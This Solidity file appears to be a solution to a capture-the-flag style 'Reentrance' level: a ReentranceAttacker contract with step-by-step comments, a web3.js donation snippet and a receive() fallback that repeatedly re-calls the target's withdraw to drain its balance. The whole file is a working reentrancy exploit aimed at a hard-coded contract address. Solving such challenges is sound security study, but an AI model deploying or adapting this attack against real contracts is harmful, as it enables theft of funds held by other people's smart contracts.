// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

contract ReentranceAttacker {
    // instruction for level passing:
    // 1. deploy this contract passing level address to constructor ('0x33aB87D539ecE127e7828a9995A4B0DCFbdc91b8')
    // 2. donate 1000000000000000 wei on it externally. here is the code
        //     const contractAddress = '0x33aB87D539ecE127e7828a9995A4B0DCFbdc91b8'; // Your contract address
        // const contractABI = contract.abi;

        // // Create a contract instance
        // const c = new web3.eth.Contract(contractABI, contractAddress);

        // // Your address (the sender's address)
        // const fromAddress = '0x090bd322565E3e15B2fc1cCcceA6bEEaAa98748C'; // Replace with your Ethereum address

        // // Call the donate function with msg.value of 1000000000000000 wei
        // const weiValue = '1000000000000000';
        //     await c.methods.donate("0xB1464E462B0b869F1d5be63bae51Ca0993C9fb54").send({ value: weiValue, from: fromAddress })
        //   .on('transactionHash', (hash) => {
        //     console.log('Transaction Hash:', hash);
        //   })
        //   .on('receipt', (receipt) => {
        //     console.log('Transaction Receipt:', receipt);
        //   })
        //   .on('error', (error) => {
        //     console.error('Transaction Error:', error);
        //   });
    // 3. call withdraw(1000000000000000);

    address public reentrance = 0x33aB87D539ecE127e7828a9995A4B0DCFbdc91b8;
    event Event(uint256 count, uint256 victim_balance, uint256 gas);

    // constructor(address _reentranceAddress) public {
    //     // 0x33aB87D539ecE127e7828a9995A4B0DCFbdc91b8
    //     reentrance = payable (_reentranceAddress);
    // }

    function withdraw(uint _amount) public {
        // 1000000000000000

        emit Event(10, address(reentrance).balance, gasleft());
        
        (bool success, ) = reentrance.call{gas: gasleft()}(abi.encodeWithSignature("withdraw(uint256)", _amount));

        emit Event(11, address(reentrance).balance, gasleft());
        require(success, "Error with .withdraw");
        emit Event(12, address(reentrance).balance, gasleft());

    }
    
    receive() external payable {
        emit Event(20, address(reentrance).balance, gasleft());

        uint256 amount;
        // Perform reentrant attack
        if (address(reentrance).balance >= msg.value) {
            amount = msg.value;
        } else {
            amount = address(reentrance).balance;
        }
        emit Event(21, amount, gasleft());

        if (amount > 0) {
            // Call reentrance.withdraw(_amount) to initiate the reentrancy attack
            (bool success, ) = reentrance.call{gas: gasleft()}(abi.encodeWithSignature("withdraw(uint256)", amount));
            emit Event(22, address(reentrance).balance, gasleft());

            require(success, "Error with .receive");
            emit Event(23, address(reentrance).balance, gasleft());
        } else {
            emit Event(24, address(reentrance).balance, gasleft());
        }
    }
}